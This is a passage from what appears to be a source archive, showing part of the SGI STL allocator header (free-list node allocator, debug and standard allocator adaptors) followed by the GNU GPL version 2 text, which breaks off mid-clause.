__STL_STATIC_TEMPLATE_MEMBER_BUG template void (* __malloc_alloc_template<__inst>::__malloc_alloc_oom_handler)() = 0; #endif template void* __malloc_alloc_template<__inst>::_S_oom_malloc(size_t __n) { void (* __my_malloc_handler)(); void* __result; for (;;) { __my_malloc_handler = __malloc_alloc_oom_handler; if (0 == __my_malloc_handler) { __THROW_BAD_ALLOC; } (*__my_malloc_handler)(); __result = malloc(__n); if (__result) return(__result); } } template void* __malloc_alloc_template<__inst>::_S_oom_realloc(void* __p, size_t __n) { void (* __my_malloc_handler)(); void* __result; for (;;) { __my_malloc_handler = __malloc_alloc_oom_handler; if (0 == __my_malloc_handler) { __THROW_BAD_ALLOC; } (*__my_malloc_handler)(); __result = realloc(__p, __n); if (__result) return(__result); } } typedef __malloc_alloc_template<0> malloc_alloc; template class simple_alloc { public: static _Tp* allocate(size_t __n) { return 0 == __n ? 0 : (_Tp*) _Alloc::allocate(__n * sizeof (_Tp)); } static _Tp* allocate(void) { return (_Tp*) _Alloc::allocate(sizeof (_Tp)); } static void deallocate(_Tp* __p, size_t __n) { if (0 != __n) _Alloc::deallocate(__p, __n * sizeof (_Tp)); } static void deallocate(_Tp* __p) { _Alloc::deallocate(__p, sizeof (_Tp)); } }; // Allocator adaptor to check size arguments for debugging. // Reports errors using assert. Checking can be disabled with // NDEBUG, but it's far better to just use the underlying allocator // instead when no checking is desired. // There is some evidence that this can confuse Purify. template class debug_alloc { private: enum {_S_extra = 8}; // Size of space used to store size. Note // that this must be large enough to preserve // alignment. public: static void* allocate(size_t __n) { char* __result = (char*)_Alloc::allocate(__n + _S_extra); *(size_t*)__result = __n; return __result + _S_extra; } static void deallocate(void* __p, size_t __n) { char* __real_p = (char*)__p - _S_extra; assert(*(size_t*)__real_p == __n); _Alloc::deallocate(__real_p, __n + _S_extra); } static void* reallocate(void* __p, size_t __old_sz, size_t __new_sz) { char* __real_p = (char*)__p - _S_extra; assert(*(size_t*)__real_p == __old_sz); char* __result = (char*) _Alloc::reallocate(__real_p, __old_sz + _S_extra, __new_sz + _S_extra); *(size_t*)__result = __new_sz; return __result + _S_extra; } }; # ifdef __USE_MALLOC typedef malloc_alloc alloc; typedef malloc_alloc single_client_alloc; # else // Default node allocator. // With a reasonable compiler, this should be roughly as fast as the // original STL class-specific allocators, but with less fragmentation. // Default_alloc_template parameters are experimental and MAY // DISAPPEAR in the future. Clients should just use alloc for now. // // Important implementation properties: // 1. If the client request an object of size > _MAX_BYTES, the resulting // object will be obtained directly from malloc. // 2. In all other cases, we allocate an object of size exactly // _S_round_up(requested_size). Thus the client has enough size // information that we can return the object to the proper free list // without permanently losing part of the object. // // The first template parameter specifies whether more than one thread // may use this allocator. It is safe to allocate an object from // one instance of a default_alloc and deallocate it with another // one. This effectively transfers its ownership to the second one. // This may have undesirable effects on reference locality. // The second parameter is unreferenced and serves only to allow the // creation of multiple default_alloc instances. // Node that containers built on different allocator instances have // different types, limiting the utility of this approach. #ifdef __SUNPRO_CC // breaks if we make these template class members: enum {_ALIGN = 8}; enum {_MAX_BYTES = 128}; enum {_NFREELISTS = _MAX_BYTES/_ALIGN}; #endif template class __default_alloc_template { private: // Really we should use static const int x = N // instead of enum { x = N }, but few compilers accept the former. # ifndef __SUNPRO_CC enum {_ALIGN = 8}; enum {_MAX_BYTES = 128}; enum {_NFREELISTS = _MAX_BYTES/_ALIGN}; # endif static size_t _S_round_up(size_t __bytes) { return (((__bytes) + _ALIGN-1) & ~(_ALIGN - 1)); } __PRIVATE: union _Obj { union _Obj* _M_free_list_link; char _M_client_data[1]; /* The client sees this. */ }; private: # ifdef __SUNPRO_CC static _Obj* __VOLATILE _S_free_list[]; // Specifying a size results in duplicate def for 4.1 # else static _Obj* __VOLATILE _S_free_list[_NFREELISTS]; # endif static size_t _S_freelist_index(size_t __bytes) { return (((__bytes) + _ALIGN-1)/_ALIGN - 1); } // Returns an object of size __n, and optionally adds to size __n free list. static void* _S_refill(size_t __n); // Allocates a chunk for nobjs of size "size". nobjs may be reduced // if it is inconvenient to allocate the requested number. static char* _S_chunk_alloc(size_t __size, int& __nobjs); // Chunk allocation state. static char* _S_start_free; static char* _S_end_free; static size_t _S_heap_size; # ifdef __STL_SGI_THREADS static volatile unsigned long _S_node_allocator_lock; static void _S_lock(volatile unsigned long*); static inline void _S_unlock(volatile unsigned long*); # endif # ifdef __STL_PTHREADS static pthread_mutex_t _S_node_allocator_lock; # endif # ifdef __STL_SOLTHREADS static mutex_t _S_node_allocator_lock; # endif # ifdef __STL_WIN32THREADS static CRITICAL_SECTION _S_node_allocator_lock; static bool _S_node_allocator_lock_initialized; public: __default_alloc_template() { // This assumes the first constructor is called before threads // are started. if (!_S_node_allocator_lock_initialized) { InitializeCriticalSection(&_S_node_allocator_lock); _S_node_allocator_lock_initialized = true; } } private: # endif class _Lock { public: _Lock() { __NODE_ALLOCATOR_LOCK; } ~_Lock() { __NODE_ALLOCATOR_UNLOCK; } }; friend class _Lock; public: /* __n must be > 0 */ static void* allocate(size_t __n) { _Obj* __VOLATILE* __my_free_list; _Obj* __RESTRICT __result; if (__n > (size_t) _MAX_BYTES) { return(malloc_alloc::allocate(__n)); } __my_free_list = _S_free_list + _S_freelist_index(__n); // Acquire the lock here with a constructor call. // This ensures that it is released in exit or during stack // unwinding. # ifndef _NOTHREADS /*REFERENCED*/ _Lock __lock_instance; # endif __result = *__my_free_list; if (__result == 0) { void* __r = _S_refill(_S_round_up(__n)); return __r; } *__my_free_list = __result -> _M_free_list_link; return (__result); }; /* __p may not be 0 */ static void deallocate(void* __p, size_t __n) { _Obj* __q = (_Obj*)__p; _Obj* __VOLATILE* __my_free_list; if (__n > (size_t) _MAX_BYTES) { malloc_alloc::deallocate(__p, __n); return; } __my_free_list = _S_free_list + _S_freelist_index(__n); // acquire lock # ifndef _NOTHREADS /*REFERENCED*/ _Lock __lock_instance; # endif /* _NOTHREADS */ __q -> _M_free_list_link = *__my_free_list; *__my_free_list = __q; // lock is released here } static void* reallocate(void* __p, size_t __old_sz, size_t __new_sz); } ; typedef __default_alloc_template<__NODE_ALLOCATOR_THREADS, 0> alloc; typedef __default_alloc_template single_client_alloc; /* We allocate memory in large chunks in order to avoid fragmenting */ /* the malloc heap too much. */ /* We assume that size is properly aligned. */ /* We hold the allocation lock. */ template char* __default_alloc_template<__threads, __inst>::_S_chunk_alloc(size_t __size, int& __nobjs) { char* __result; size_t __total_bytes = __size * __nobjs; size_t __bytes_left = _S_end_free - _S_start_free; if (__bytes_left >= __total_bytes) { __result = _S_start_free; _S_start_free += __total_bytes; return(__result); } else if (__bytes_left >= __size) { __nobjs = (int)(__bytes_left/__size); __total_bytes = __size * __nobjs; __result = _S_start_free; _S_start_free += __total_bytes; return(__result); } else { size_t __bytes_to_get = 2 * __total_bytes + _S_round_up(_S_heap_size >> 4); // Try to make use of the left-over piece. if (__bytes_left > 0) { _Obj* __VOLATILE* __my_free_list = _S_free_list + _S_freelist_index(__bytes_left); ((_Obj*)_S_start_free) -> _M_free_list_link = *__my_free_list; *__my_free_list = (_Obj*)_S_start_free; } _S_start_free = (char*)malloc(__bytes_to_get); if (0 == _S_start_free) { size_t __i; _Obj* __VOLATILE* __my_free_list; _Obj* __p; // Try to make do with what we have. That can't // hurt. We do not try smaller requests, since that tends // to result in disaster on multi-process machines. for (__i = __size; __i <= _MAX_BYTES; __i += _ALIGN) { __my_free_list = _S_free_list + _S_freelist_index(__i); __p = *__my_free_list; if (0 != __p) { *__my_free_list = __p -> _M_free_list_link; _S_start_free = (char*)__p; _S_end_free = _S_start_free + __i; return(_S_chunk_alloc(__size, __nobjs)); // Any leftover piece will eventually make it to the // right free list. } } _S_end_free = 0; // In case of exception. _S_start_free = (char*)malloc_alloc::allocate(__bytes_to_get); // This should either throw an // exception or remedy the situation. Thus we assume it // succeeded. } _S_heap_size += __bytes_to_get; _S_end_free = _S_start_free + __bytes_to_get; return(_S_chunk_alloc(__size, __nobjs)); } } /* Returns an object of size __n, and optionally adds to size __n free list.*/ /* We assume that __n is properly aligned. */ /* We hold the allocation lock. */ template void* __default_alloc_template<__threads, __inst>::_S_refill(size_t __n) { int __nobjs = 20; char* __chunk = _S_chunk_alloc(__n, __nobjs); _Obj* __VOLATILE* __my_free_list; _Obj* __result; _Obj* __current_obj; _Obj* __next_obj; int __i; if (1 == __nobjs) return(__chunk); __my_free_list = _S_free_list + _S_freelist_index(__n); /* Build free list in chunk */ __result = (_Obj*)__chunk; *__my_free_list = __next_obj = (_Obj*)(__chunk + __n); for (__i = 1; ; __i++) { __current_obj = __next_obj; __next_obj = (_Obj*)((char*)__next_obj + __n); if (__nobjs - 1 == __i) { __current_obj -> _M_free_list_link = 0; break; } else { __current_obj -> _M_free_list_link = __next_obj; } } return(__result); } template void* __default_alloc_template::reallocate(void* __p, size_t __old_sz, size_t __new_sz) { void* __result; size_t __copy_sz; if (__old_sz > (size_t) _MAX_BYTES && __new_sz > (size_t) _MAX_BYTES) { return(realloc(__p, __new_sz)); } if (_S_round_up(__old_sz) == _S_round_up(__new_sz)) return(__p); __result = allocate(__new_sz); __copy_sz = __new_sz > __old_sz? __old_sz : __new_sz; memcpy(__result, __p, __copy_sz); deallocate(__p, __old_sz); return(__result); } #ifdef __STL_PTHREADS template pthread_mutex_t __default_alloc_template<__threads, __inst>::_S_node_allocator_lock = PTHREAD_MUTEX_INITIALIZER; #endif #ifdef __STL_SOLTHREADS template mutex_t __default_alloc_template<__threads, __inst>::_S_node_allocator_lock = DEFAULTMUTEX; #endif #ifdef __STL_WIN32THREADS template CRITICAL_SECTION __default_alloc_template<__threads, __inst>:: _S_node_allocator_lock; template bool __default_alloc_template<__threads, __inst>:: _S_node_allocator_lock_initialized = false; #endif #ifdef __STL_SGI_THREADS __STL_END_NAMESPACE #include #include /* XXX should use */ __STL_BEGIN_NAMESPACE // Somewhat generic lock implementations. We need only test-and-set // and some way to sleep. These should work with both SGI pthreads // and sproc threads. They may be useful on other systems. template volatile unsigned long __default_alloc_template<__threads, __inst>::_S_node_allocator_lock = 0; #if __mips < 3 || !(defined (_ABIN32) || defined(_ABI64)) || defined(__GNUC__) # define __test_and_set(l,v) test_and_set(l,v) #endif template void __default_alloc_template<__threads, __inst>:: _S_lock(volatile unsigned long* __lock) { const unsigned __low_spin_max = 30; // spins if we suspect uniprocessor const unsigned __high_spin_max = 1000; // spins for multiprocessor static unsigned __spin_max = __low_spin_max; unsigned __my_spin_max; static unsigned __last_spins = 0; unsigned __my_last_spins; unsigned __junk; # define __ALLOC_PAUSE \ __junk *= __junk; __junk *= __junk; __junk *= __junk; __junk *= __junk int __i; if (!__test_and_set((unsigned long*)__lock, 1)) { return; } __my_spin_max = __spin_max; __my_last_spins = __last_spins; for (__i = 0; __i < __my_spin_max; __i++) { if (__i < __my_last_spins/2 || *__lock) { __ALLOC_PAUSE; continue; } if (!__test_and_set((unsigned long*)__lock, 1)) { // got it! // Spinning worked. Thus we're probably not being scheduled // against the other process with which we were contending. // Thus it makes sense to spin longer the next time. __last_spins = __i; __spin_max = __high_spin_max; return; } } // We are probably being scheduled against the other process. Sleep. __spin_max = __low_spin_max; for (__i = 0 ;; ++__i) { struct timespec __ts; int __log_nsec = __i + 6; if (!__test_and_set((unsigned long *)__lock, 1)) { return; } if (__log_nsec > 27) __log_nsec = 27; /* Max sleep is 2**27nsec ~ 60msec */ __ts.tv_sec = 0; __ts.tv_nsec = 1 << __log_nsec; nanosleep(&__ts, 0); } } template inline void __default_alloc_template<__threads, __inst>::_S_unlock( volatile unsigned long* __lock) { # if defined(__GNUC__) && __mips >= 3 asm("sync"); *__lock = 0; # elif __mips >= 3 && (defined (_ABIN32) || defined(_ABI64)) __lock_release(__lock); # else *__lock = 0; // This is not sufficient on many multiprocessors, since // writes to protected variables and the lock may be reordered. # endif } #endif template char* __default_alloc_template<__threads, __inst>::_S_start_free = 0; template char* __default_alloc_template<__threads, __inst>::_S_end_free = 0; template size_t __default_alloc_template<__threads, __inst>::_S_heap_size = 0; template __default_alloc_template<__threads, __inst>::_Obj* __VOLATILE __default_alloc_template<__threads, __inst> ::_S_free_list[ _NFREELISTS ] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; // The 16 zeros are necessary to make version 4.1 of the SunPro // compiler happy. Otherwise it appears to allocate too little // space for the array. # ifdef __STL_WIN32THREADS // Create one to get critical section initialized. // We do this onece per file, but only the first constructor // does anything. static alloc __node_allocator_dummy_instance; # endif #endif /* ! __USE_MALLOC */ // This implements allocators as specified in the C++ standard. // // Note that standard-conforming allocators use many language features // that are not yet widely implemented. In particular, they rely on // member templates, partial specialization, partial ordering of function // templates, the typename keyword, and the use of the template keyword // to refer to a template member of a dependent type. #ifdef __STL_USE_STD_ALLOCATORS template class allocator { typedef alloc _Alloc; // The underlying allocator. public: typedef size_t size_type; typedef ptrdiff_t difference_type; typedef _Tp* pointer; typedef const _Tp* const_pointer; typedef _Tp& reference; typedef const _Tp& const_reference; typedef _Tp value_type; template struct rebind { typedef allocator<_Tp1> other; }; allocator() __STL_NOTHROW {} allocator(const allocator&) __STL_NOTHROW {} template allocator(const allocator<_Tp1>&) __STL_NOTHROW {} ~allocator() __STL_NOTHROW {} pointer address(reference __x) const { return &__x; } const_pointer address(const_reference __x) const { return &__x; } // __n is permitted to be 0. The C++ standard says nothing about what // the return value is when __n == 0. _Tp* allocate(size_type __n, const void* = 0) { return __n != 0 ? static_cast<_Tp*>(_Alloc::allocate(__n * sizeof(_Tp))) : 0; } // __p is not permitted to be a null pointer. void deallocate(pointer __p, size_type __n) { _Alloc::deallocate(__p, __n * sizeof(_Tp)); } size_type max_size() const __STL_NOTHROW // XXX // { return size_t(-1) / sizeof(_Tp); } { return (size_t)(-1)/sizeof(_Tp); } void construct(pointer __p, const _Tp& __val) { new(__p) _Tp(__val); } void destroy(pointer __p) { __p->~_Tp(); } }; template<> class allocator { typedef size_t size_type; typedef ptrdiff_t difference_type; typedef void* pointer; typedef const void* const_pointer; typedef void value_type; template struct rebind { typedef allocator<_Tp1> other; }; }; template inline bool operator==(const allocator<_T1>&, const allocator<_T2>&) { return true; } template inline bool operator!=(const allocator<_T1>&, const allocator<_T2>&) { return false; } // Allocator adaptor to turn an SGI-style allocator (e.g. alloc, malloc_alloc) // into a standard-conforming allocator. Note that this adaptor does // *not* assume that all objects of the underlying alloc class are // identical, nor does it assume that all of the underlying alloc's // member functions are static member functions. Note, also, that // __allocator<_Tp, alloc> is essentially the same thing as allocator<_Tp>. template struct __allocator { _Alloc __underlying_alloc; typedef size_t size_type; typedef ptrdiff_t difference_type; typedef _Tp* pointer; typedef const _Tp* const_pointer; typedef _Tp& reference; typedef const _Tp& const_reference; typedef _Tp value_type; template struct rebind { typedef __allocator<_Tp1, _Alloc> other; }; __allocator() __STL_NOTHROW {} __allocator(const __allocator& __a) __STL_NOTHROW : __underlying_alloc(__a.__underlying_alloc) {} template __allocator(const __allocator<_Tp1, _Alloc>& __a) __STL_NOTHROW : __underlying_alloc(__a.__underlying_alloc) {} ~__allocator() __STL_NOTHROW {} pointer address(reference __x) const { return &__x; } const_pointer address(const_reference __x) const { return &__x; } // __n is permitted to be 0. _Tp* allocate(size_type __n, const void* = 0) { return __n != 0 ? static_cast<_Tp*>(__underlying_alloc.allocate(__n * sizeof(_Tp))) : 0; } // __p is not permitted to be a null pointer. void deallocate(pointer __p, size_type __n) { __underlying_alloc.deallocate(__p, __n * sizeof(_Tp)); } size_type max_size() const __STL_NOTHROW // XXX // { return size_t(-1) / sizeof(_Tp); } { return (size_t)(-1)/sizeof(_Tp); } void construct(pointer __p, const _Tp& __val) { new(__p) _Tp(__val); } void destroy(pointer __p) { __p->~_Tp(); } }; template class __allocator { typedef size_t size_type; typedef ptrdiff_t difference_type; typedef void* pointer; typedef const void* const_pointer; typedef void value_type; template struct rebind { typedef __allocator<_Tp1, _Alloc> other; }; }; template inline bool operator==(const __allocator<_Tp, _Alloc>& __a1, const __allocator<_Tp, _Alloc>& __a2) { return __a1.__underlying_alloc == __a2.__underlying_alloc; } #ifdef __STL_FUNCTION_TMPL_PARTIAL_ORDER template inline bool operator!=(const __allocator<_Tp, _Alloc>& __a1, const __allocator<_Tp, _Alloc>& __a2) { return __a1.__underlying_alloc != __a2.__underlying_alloc; } #endif /* __STL_FUNCTION_TMPL_PARTIAL_ORDER */ // Comparison operators for all of the predifined SGI-style allocators. // This ensures that __allocator (for example) will // work correctly. template inline bool operator==(const __malloc_alloc_template&, const __malloc_alloc_template&) { return true; } #ifdef __STL_FUNCTION_TMPL_PARTIAL_ORDER template inline bool operator!=(const __malloc_alloc_template<__inst>&, const __malloc_alloc_template<__inst>&) { return false; } #endif /* __STL_FUNCTION_TMPL_PARTIAL_ORDER */ #ifndef __USE_MALLOC template inline bool operator==(const __default_alloc_template<__threads, __inst>&, const __default_alloc_template<__threads, __inst>&) { return true; } # ifdef __STL_FUNCTION_TMPL_PARTIAL_ORDER template inline bool operator!=(const __default_alloc_template<__threads, __inst>&, const __default_alloc_template<__threads, __inst>&) { return false; } # endif /* __STL_FUNCTION_TMPL_PARTIAL_ORDER */ #endif template inline bool operator==(const debug_alloc<_Alloc>&, const debug_alloc<_Alloc>&) { return true; } #ifdef __STL_FUNCTION_TMPL_PARTIAL_ORDER template inline bool operator!=(const debug_alloc<_Alloc>&, const debug_alloc<_Alloc>&) { return false; } #endif /* __STL_FUNCTION_TMPL_PARTIAL_ORDER */ // Another allocator adaptor: _Alloc_traits. This serves two // purposes. First, make it possible to write containers that can use // either SGI-style allocators or standard-conforming allocator. // Second, provide a mechanism so that containers can query whether or // not the allocator has distinct instances. If not, the container // can avoid wasting a word of memory to store an empty object. // This adaptor uses partial specialization. The general case of // _Alloc_traits<_Tp, _Alloc> assumes that _Alloc is a // standard-conforming allocator, possibly with non-equal instances // and non-static members. (It still behaves correctly even if _Alloc // has static member and if all instances are equal. Refinements // affect performance, not correctness.) // There are always two members: allocator_type, which is a standard- // conforming allocator type for allocating objects of type _Tp, and // _S_instanceless, a static const member of type bool. If // _S_instanceless is true, this means that there is no difference // between any two instances of type allocator_type. Furthermore, if // _S_instanceless is true, then _Alloc_traits has one additional // member: _Alloc_type. This type encapsulates allocation and // deallocation of objects of type _Tp through a static interface; it // has two member functions, whose signatures are // static _Tp* allocate(size_t) // static void deallocate(_Tp*, size_t) // The fully general version. template struct _Alloc_traits { static const bool _S_instanceless = false; typedef typename _Allocator::__STL_TEMPLATE rebind<_Tp>::other allocator_type; }; template const bool _Alloc_traits<_Tp, _Allocator>::_S_instanceless; // The version for the default allocator. template struct _Alloc_traits<_Tp, allocator<_Tp1> > { static const bool _S_instanceless = true; typedef simple_alloc<_Tp, alloc> _Alloc_type; typedef allocator<_Tp> allocator_type; }; // Versions for the predefined SGI-style allocators. template struct _Alloc_traits<_Tp, __malloc_alloc_template<__inst> > { static const bool _S_instanceless = true; typedef simple_alloc<_Tp, __malloc_alloc_template<__inst> > _Alloc_type; typedef __allocator<_Tp, __malloc_alloc_template<__inst> > allocator_type; }; #ifndef __USE_MALLOC template struct _Alloc_traits<_Tp, __default_alloc_template<__threads, __inst> > { static const bool _S_instanceless = true; typedef simple_alloc<_Tp, __default_alloc_template<__threads, __inst> > _Alloc_type; typedef __allocator<_Tp, __default_alloc_template<__threads, __inst> > allocator_type; }; #endif template struct _Alloc_traits<_Tp, debug_alloc<_Alloc> > { static const bool _S_instanceless = true; typedef simple_alloc<_Tp, debug_alloc<_Alloc> > _Alloc_type; typedef __allocator<_Tp, debug_alloc<_Alloc> > allocator_type; }; // Versions for the __allocator adaptor used with the predefined // SGI-style allocators. template struct _Alloc_traits<_Tp, __allocator<_Tp1, __malloc_alloc_template<__inst> > > { static const bool _S_instanceless = true; typedef simple_alloc<_Tp, __malloc_alloc_template<__inst> > _Alloc_type; typedef __allocator<_Tp, __malloc_alloc_template<__inst> > allocator_type; }; #ifndef __USE_MALLOC template struct _Alloc_traits<_Tp, __allocator<_Tp1, __default_alloc_template<__thr, __inst> > > { static const bool _S_instanceless = true; typedef simple_alloc<_Tp, __default_alloc_template<__thr,__inst> > _Alloc_type; typedef __allocator<_Tp, __default_alloc_template<__thr,__inst> > allocator_type; }; #endif template struct _Alloc_traits<_Tp, __allocator<_Tp1, debug_alloc<_Alloc> > > { static const bool _S_instanceless = true; typedef simple_alloc<_Tp, debug_alloc<_Alloc> > _Alloc_type; typedef __allocator<_Tp, debug_alloc<_Alloc> > allocator_type; }; #endif /* __STL_USE_STD_ALLOCATORS */ #if defined(__sgi) && !defined(__GNUC__) && (_MIPS_SIM != _MIPS_SIM_ABI32) #pragma reset woff 1174 #endif __STL_END_NAMESPACE #undef __PRIVATE #endif /* __SGI_STL_INTERNAL_ALLOC_H */ // Local Variables: // mode:C++ // End: xprobe2-0.3/libs-external/USI++/COPYING000755 001751 000000 00000043076 10271643767 017607 0ustar00mederwheel000000 000000 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES 